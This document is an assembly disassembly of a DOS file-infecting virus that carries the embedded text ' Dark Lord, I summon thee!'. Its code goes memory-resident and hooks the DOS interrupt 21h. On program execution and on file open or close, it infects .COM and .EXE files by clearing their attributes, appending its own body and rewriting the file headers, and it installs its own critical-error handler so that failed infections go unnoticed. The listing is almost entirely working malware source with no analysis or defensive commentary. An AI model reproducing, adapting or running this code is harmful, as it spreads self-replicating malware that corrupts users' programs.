
PAGE  59,132

;
;                                                                      
;                             PROB                                     
;                                                                      
;      Created:   1-Jan-80                                             
;      Version:                                                        
;      Passes:    5          Analysis Options on: ABCDEFPX             
;                                                                      
;                                                                      
;

data_1e         equ     0                       ; (6B7E:0000=0)
data_2e         equ     2                       ; (6B7E:0002=0)
data_4e         equ     0F1h                    ; (6B7E:00F1=0)
data_17e        equ     499h                    ; (6C11:0499=0)
data_18e        equ     49Bh                    ; (6C11:049B=0)
data_19e        equ     49Dh                    ; (6C11:049D=0)
data_20e        equ     49Fh                    ; (6C11:049F=0)
data_21e        equ     4B8h                    ; (6C11:04B8=0)

;-------------------------------------------------------------- seg_a  ----

seg_a           segment para public
                assume cs:seg_a , ds:seg_a , ss:stack_seg_c

                db      256 dup (0)
                db      8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h
                db      1, 0B4h, 9, 0CDh, 21h, 0B8h
                db      0, 4Ch, 0CDh
                db      '!This is a test', 0Ah, 0Dh, '$'
                db      1807 dup (0)

seg_a           ends



;-------------------------------------------------------------- seg_b  ----

seg_b           segment para public
                assume cs:seg_b , ds:seg_b , ss:stack_seg_c

                db      241 dup (0)
                db      4Fh, 4Dh
                db      9 dup (20h)
                db      0, 0, 0, 0

;
;
;                       Program Entry Point
;
;


prob            proc    far

start:
                jmp     short loc_3             ; (0137)
data_10         dw      5A4Dh
                db      21h, 1, 6, 0, 0, 0
                db      20h, 0, 0, 0, 0FFh, 0FFh
data_11         dw      0
data_12         dw      0
                db      0BBh, 0DDh
data_13         dd      00100h
                db      'COMMAND.COM'
                db      0

prob            endp

;
;                              SUBROUTINE
;

sub_1           proc    near                    ;    EXE
                cmp     cs:data_10,4D5Ah        ; (6C11:0102=5A4Dh)
                je      loc_ret_2               ; Jump if equal
                cmp     cs:data_10,5A4Dh        ; (6C11:0102=5A4Dh)

loc_ret_2:
                retn
sub_1           endp

loc_3:
                mov     cs:data_19e,ds          ; (6C11:049D=0)
                push    ax
                mov     ax,0EC59h               ;    
                int     21h                     ; DOS Services  ah=function ECh
                cmp     bp,ax                   ;  AX<>BP   
                jne     loc_6
                push    cs
                pop     ds
loc_4:
                pop     ax
                mov     es,cs:data_19e          ; (6C11:049D=0)
                call    sub_1                   ; (COM/EXE)?
                jz      loc_5                   ; Jump if zero
                mov     cx,0Dh                  ;  COM
                mov     si,102h
                push    es
                mov     di,100h
                push    di                      ;   13 
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                push    es
                pop     ds                      ;   
                retf                            ; Return far
loc_5:
                mov     si,es                   ;  EXE
                add     si,10h
                add     word ptr cs:data_13+2,si;     CS
                add     si,cs:data_11           ;     SS
                mov     di,cs:data_12           ;     SP
                push    es
                pop     ds
                cli                             ; Disable interrupts
                mov     ss,si
                mov     sp,di
                sti                             ; Enable interrupts
                jmp     cs:data_13              ;   
loc_6:
                mov     ax,3521h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     dx,bx
                push    es
                pop     ds
                mov     ax,25ECh                ;  INT 21H  INT ECH
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                mov     ax,cs:data_19e          ; (6C11:049D=0)
                mov     es,ax
                dec     ax
                mov     ds,ax
                mov     bx,word ptr ds:data_2e+1        ; (6B7E:0003=0)
                sub     bx,65h
                add     ax,bx
                mov     es:data_2e,ax           ; (6B7E:0002=0)
                mov     ah,4Ah                  ; 'J'
                int     0ECh
                mov     bx,64h
                mov     ah,48h                  ; 'H'
                int     0ECh
                sub     ax,10h
                mov     es,ax
                mov     byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z'
                push    cs
                pop     ds
                mov     si,100h
                mov     di,si
                mov     cx,39Fh
                nop                             ;     
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                mov     di,1D0h
                push    es
                push    di
                retf                            ; Return far
                mov     word ptr es:data_4e,70h ; (6B7E:00F1=0)
                mov     ax,3521h  ;(??)      
                int     0ECh
                mov     cs:data_15,bx           ; (6C11:0216=12E4h)
                mov     cs:data_16,es           ; (6C11:0218=12Eh)
                mov     ah,25h                  ; '%'
                mov     dx,201h
                push    cs
                pop     ds
                int     0ECh                    ;    INT 21H
                push    cs
                pop     es
                mov     di,49Fh
                mov     cx,19h
                mov     al,0                    ;  19h   
                rep     stosb                   ; Rep when cx >0 Store al to es:[di]
                jmp     loc_4                   ;  
loc_7:
                mov     bp,ax                   ;    ECH
                iret                            ; Interrupt return
                cmp     ax,0EC59h               ;    INT 21H
                je      loc_7                   ; Jump if equal
                cmp     ax,4B00h
                je      loc_9                   ; Jump if equal
                cmp     ah,3Dh                  ; '='
                je      loc_11                  ; Jump if equal
                cmp     ah,3Eh                  ; '>'
                je      loc_13                  ; Jump if equal
loc_8:
                jmp     far ptr loc_1           ;*(012E:12E4)
loc_9:
                call    sub_2                   ; (028B)
                jmp     short loc_8             ; (0215)
loc_10:
                pop     cx
                jmp     short loc_8             ; (0215)
loc_11:
                push    cx
                call    sub_6                   ; (040E)
                jc      loc_10                  ; Jump if carry Set
                cmp     cx,20h
                pop     cx
                jnz     loc_8                   ; Jump if not zero
                mov     al,2
                pushf                           ; Push flags
                call    dword ptr cs:[216h]     ; (6C11:0216=12E4h)
                jc      loc_ret_12              ; Jump if carry Set
                push    ax
                push    bx
                mov     bx,ax
                mov     al,cs:data_21e          ; (6C11:04B8=0)
                mov     cs:data_20e[bx],al      ; (6C11:049F=0)
                pop     bx
                pop     ax

loc_ret_12:
                retf    2                       ; Return far
loc_13:
                cmp     byte ptr cs:data_20e[bx],0      ; (6C11:049F=0)
                je      loc_8                   ; Jump if equal
                push    ax
                mov     al,cs:data_20e[bx]      ; (6C11:049F=0)
                mov     cs:data_21e,al          ; (6C11:04B8=0)
                mov     byte ptr cs:data_20e[bx],0      ; (6C11:049F=0)
                mov     ah,45h                  ; 'E'
                int     0ECh
                mov     cs:data_19e,ax          ; (6C11:049D=0)
                pop     ax
                jc      loc_8                   ; Jump if carry Set
                pushf                           ; Push flags
                call    dword ptr cs:[216h]     ; (6C11:0216=12E4h)
                jc      loc_ret_12              ; Jump if carry Set
                push    bx
                mov     bx,cs:data_19e          ; (6C11:049D=0)
                push    ds
                call    sub_3                   ; (02BB)
                call    sub_4                   ; (02DC)
                call    sub_5                   ; (03FA)
                pop     ds
                pop     bx
                clc                             ; Clear carry flag
                retf    2                       ; Return far

;
;                              SUBROUTINE
;

sub_2           proc    near
                push    ax
                push    bx
                push    cx
                call    sub_6                   ; (040E)
                jc      loc_16                  ;     
                push    cx
                push    ds
                call    sub_3                   ;  INT 24H
                pop     ds
                mov     ax,4301h
                xor     cx,cx                   ; Zero register
                int     0ECh                    ;  
                jc      loc_14                  ; Jump if carry Set
                mov     ax,3D02h                ;    
                int     0ECh
                mov     bx,ax
loc_14:
                pop     cx
                jc      loc_15                  ;    
                call    sub_4                   ; (02DC)
                mov     ax,4301h
                int     0ECh
loc_15:
                call    sub_5                   ; (03FA)
loc_16:
                pop     cx
                pop     bx
                pop     ax
                retn
sub_2           endp


;
;                              SUBROUTINE
;

sub_3           proc    near                   ;  INT 24H
                push    ax
                push    dx
                push    bx
                push    es
                mov     ax,3524h
                int     0ECh
                mov     cs:data_17e,bx          ; (6C11:0499=0)
                mov     cs:data_18e,es          ; (6C11:049B=0)
                pop     es
                pop     bx
                push    cs
                pop     ds
                mov     dx,469h
                mov     ah,25h
                int     0ECh                     ;  INT 24H
                pop     dx
                pop     ax
                retn
sub_3           endp


;
;                              SUBROUTINE
;

sub_4           proc    near
                push    ax
                push    cx
                push    dx
                push    si
                push    di
                push    ds
                mov     di,102h
                mov     cx,0FFFFh
                mov     dx,0FFFAh
                mov     ax,4202h
                int     0ECh                  ;    
                mov     ah,3Fh                ; '?'
                mov     cx,6
                push    cs
                pop     ds
                mov     dx,di
                int     0ECh                    ;  6 
                jc      loc_17                  ; Jump if carry Set
                cmp     word ptr cs:[di],4E41h  ;    
                je      loc_17                  ; Jump if equal
                xor     cx,cx
                xor     dx,dx
                mov     ax,4200h
                int     0ECh                    ;  FP  
                mov     ah,3Fh                  ;   18h 
                mov     cx,18h                  ;  CS:100
                mov     dx,di
                int     0ECh                    ;   18h 
                jnc     loc_18                  ; Jump if carry=0
loc_17:
                jmp     loc_27                  ; (03E6)
loc_18:
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                cmp     byte ptr cs:data_21e,2  ; (6C11:04B8=0)
                jne     loc_19                  ; Jump if not equal
                cmp     word ptr [di+1],4000h
                ja      loc_17                  ; Jump if above
                dec     cx
                mov     dx,0C0h
                sub     dx,499h
loc_19:
                mov     ax,4202h                ;  FP    
loc_20:
                int     0ECh
                test    ax,0Fh
                jz      loc_21                  ; Jump if zero
                mov     cx,dx                   ;   16
                mov     dx,ax
                add     dx,10h
                adc     cx,0
                and     dl,0F0h
                mov     ax,4200h                ;   
                jmp     short loc_20            ; (0339)
loc_21:
                call    sub_1                   ; (0126)
                jz      loc_23                  ;   EXE
                or      dx,dx                   ; Zero ?
                jnz     loc_17                  ; Jump if not zero
                cmp     ax,400h
                jae     loc_22                  ; Jump if above or =
                jmp     loc_27                  ; (03E6)
loc_22:
                cmp     ax,0FA00h
                ja      loc_27                  ; Jump if above
loc_23:
                mov     cl,4
                shr     ax,cl                   ; Shift w/zeros fill
                mov     si,ax
                mov     cl,0Ch
                shl     dx,cl                   ; Shift w/zeros fill
                add     si,dx                 ;    
                mov     ah,40h                ;  399h 
                mov     dx,100h
                mov     cx,399h
                nop
                int     0ECh
                jc      loc_27                  ; Jump if carry Set
                call    sub_1
                jnz     loc_25                  ; Jump if not zero
                sub     si,10h
                sub     si,cs:[di+8]              ;  
                mov     word ptr cs:[di+14h],100h
                mov     cs:[di+16h],si
                mov     word ptr cs:[di+10h],400h
                add     si,44h
                nop
                mov     cs:[di+0Eh],si
                mov     ax,4202h
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                int     0ECh                    ;  
                mov     cx,200h
                div     cx                      ; ax,dx rem=dx:ax/reg
                or      dx,dx                   ; Zero ?
                jz      loc_24                  ; Jump if zero
                inc     ax
loc_24:
                mov     cs:[di+2],dx            ;   
                mov     cs:[di+4],ax
                jmp     short loc_26            ; (03D4)
loc_25:
                push    si
                push    di
                push    es
                push    cs
                pop     es
                mov     si,46Ch
                mov     cx,0Bh
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                pop     es
                pop     di
                pop     word ptr [di+0Bh]
loc_26:
                mov     ax,4200h                ;  FP  
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                int     0ECh
                mov     ah,40h                  ;   16h 
                mov     cx,18h
                mov     dx,di
                int     0ECh
loc_27:                                         ;      
                mov     ax,5700h
                int     0ECh
                mov     al,1
                int     0ECh
                mov     ah,3Eh                  ;  
                int     0ECh
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     ax
                retn
sub_4           endp


;
;                              SUBROUTINE
;

sub_5           proc    near                    ;  INT 24H
                push    ax
                push    dx
                push    ds
                mov     ax,2524h
                mov     dx,cs:data_17e          ; (6C11:0499=0)
                mov     ds,cs:data_18e          ; (6C11:049B=0)
                pop     ds
                pop     dx
                pop     ax
                retn
sub_5           endp


;
;                              SUBROUTINE
;

sub_6           proc    near                   ;  
                push    ax
                push    es
                push    di
                push    bx
                mov     di,dx
                push    ds
                pop     es
                mov     al,0
                mov     cx,40h                  ;      
                repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
                mov     ax,[di-3]
                mov     cx,[di-5]
                and     ax,5F5Fh
                and     ch,5Fh
                cmp     ax,4D4Fh                ;(COM)?
                jne     loc_29
                cmp     cx,432Eh
                je      $+10h                   ; Jump if equal
loc_28:
                stc                             ; Set carry flag
                jmp     short $+2Fh
loc_29:
                cmp     ax,4558h
                jne     loc_28                  ; Jump if not equal
                cmp     cx,452Eh
sub_6           endp


seg_b           ends



;--------------------------------------------------------- stack_seg_c  ---

stack_seg_c     segment para stack

                db      75h, 0F2h, 0B9h, 7, 0, 0BBh
                db      0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h
                db      24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah
                db      1, 0E1h, 0F3h, 0B0h, 1, 75h
                db      2, 0B0h, 2, 2Eh, 0A2h, 0B8h
                db      4, 0B8h, 0, 43h, 0CDh, 0ECh
                db      5Bh, 5Fh, 7, 58h, 0C3h, 0B0h
                db      3, 0CFh, 50h, 8Ch, 0C8h, 1
                db      6, 0Bh, 1, 58h, 0EAh, 0
                db      1
                db      ' Dark Lord, I summon thee!'
                db      0
                db      4Dh, 41h, 4Eh, 4Fh, 57h, 41h
                db      52h
                db      935 dup (0)

stack_seg_c     ends



                end     start
